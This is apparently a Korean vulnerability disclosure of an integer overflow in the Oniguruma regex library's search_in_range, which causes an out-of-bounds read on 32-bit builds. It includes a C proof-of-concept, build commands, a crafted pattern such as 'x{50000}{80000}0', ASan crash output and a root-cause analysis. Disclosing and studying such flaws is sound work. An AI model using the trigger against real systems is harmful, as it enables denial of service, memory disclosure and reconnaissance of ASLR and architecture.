
Oniguruma의 정수 오버플로우
Oniguruma 6.x(6.9.4_rc2 이전)의 regexec.c에 있는 search_in_range 함수의 정수 오버플로우는 범위를 벗어난 읽기(out-of-bounds read)로 이어지며, 이 읽기의 오프셋은 공격자가 제어할 수 있습니다. (이 문제는 32비트로 컴파일된 버전에만 영향을 미칩니다.) 원격 공격자는 조작된 정규 표현식을 통해 서비스 거부 또는 정보 노출을 일으키거나, 기타 명시되지 않은 영향을 발생시킬 수 있습니다.
연구자: The Tarantula Team, VinCSS(Vingroup의 회원사)의 ManhND
K. Kosako가 개발한 Oniguruma는 다양한 문자 인코딩을 지원하는 BSD 라이선스 정규 표현식 라이브러리입니다. Ruby 프로그래밍 언어 1.9 버전과 PHP의 멀티바이트 문자열 모듈(PHP5 이후)은 Oniguruma를 정규 표현식 엔진으로 사용합니다. 또한 Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text, SubEthaEdit와 같은 제품에서도 사용됩니다.
다음은 C로 작성된 PoC입니다. 첫 번째 인자를 패턴으로, 두 번째 인자를 매칭할 문자열로 받습니다.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = argv[1];
char *pattern_end = pattern + strlen(pattern);
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
char* str = argv[2];
char* str_end = str+strlen(str);
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
Oniguruma와 PoC를 32비트로 컴파일합니다:
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC
버그를 유발하려면 문자열 "x"와 "x{a}{b}0" 형식의 패턴을 전달하세요. 여기서 a와 b는 100000보다 작아야 합니다. 예를 들어:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
#0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
#1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
#2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
#3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
#4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
#5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
#6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#7 0x8048b00 (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#
참조한 소스 코드 버전: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4
근본 원인은 정수 오버플로우가 발생하는 regex.c:5365 라인에 있습니다:
5360 sch_range = (UChar* )range;
5361 if (reg->dmax != 0) {
5362 if (reg->dmax == INFINITE_LEN)
5363 sch_range = (UChar* )end;
5364 else {
5365 sch_range += reg->dmax; //// => overflow
5366 if (sch_range > end) sch_range = (UChar* )end;
5367 }
5368 }
정수 오버플로우는 reg->dmax 값이 충분히 커질 때 발생합니다. reg->dmax는 패턴 "x{<number>}y"에서 <number>에 해당하는 거리 값으로 보입니다. 여기서 x는 임의의 문자, y는 숫자여야 합니다. 예를 들어 패턴 "a{1000}5"가 주어지면 reg->dmax = 1000입니다. "./PoC a{1000}5 b"를 실행한 다음 gdb 로그를 참조하세요:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0",
exact_end = 0xf6500431 "",
map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>,
map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)
"x{<number>}y" 형식의 패턴에서 dmax는 최대 100000의 값을 가집니다. 반복 횟수는 100000보다 클 수 없기 때문입니다(ONIG_MAX_REPEAT_NUM). 그러나 "x{<number1>}{<number2>}y" 형식의 패턴을 제공하면 reg->dmax = number1 * number2가 됩니다. 이 곱셈은 다음 코드(regcomp.c:6157)에서 수행됩니다:
6156 else {
6157 max = distance_multiply(xo.len.max, qn->upper); //// => multiply into dmax
6158 }
"./PoC a{1000}{2}5 b"를 실행한 다음 gdb 로그를 참조하세요:
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5",
exact_end = 0xf6500431 "",
map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>,
map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)
게다가 반복 횟수는 원하는 만큼 중첩될 수 있습니다:
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk
따라서 dmax(부호 없는 정수)는 [0, 0xffffffff) 범위의 임의의 값이 될 수 있으므로 sch_range += reg->dmax; 에서 정수 오버플로우가 확실히 발생할 수 있습니다. reg->dmin에도 동일하게 적용됩니다. 하지만 이 정수 오버플로우는 32비트 버전에서만 발생합니다. 64비트 버전에서 sch_range는 64비트 포인터이고 dmax는 여전히 부호 없는 정수이므로 정수 오버플로우가 발생할 수 없습니다.
위 PoC는 sunday_quick_search에서 정수 오버플로우가 잘못된 메모리 주소를 역참조하게 만들어 크래시가 발생합니다:
while (s < end) {
p = s;
t = tail;
while (*p == *t) { // => p points to invalid address
if (t == target) return (UChar* )p;
p--; t--;
}
if (s + map_offset >= text_end) break;
s += reg->map[*(s + map_offset)];
}
ASLR이 활성화되어 있고 적절한 패턴을 제공하면, ASLR은 역참조된 주소에 유효한 페이지를 매핑하기도 하고 페이지를 매핑하지 않기도 합니다. 따라서 PoC는 때때로 크래시가 발생하고 때로는 발생하지 않습니다. 이 PoC는 대상 시스템이 32비트인지 64비트인지 감지하는 데 사용할 수 있습니다. 그리고 32비트라면 ASLR 활성화 여부도 감지할 수 있습니다.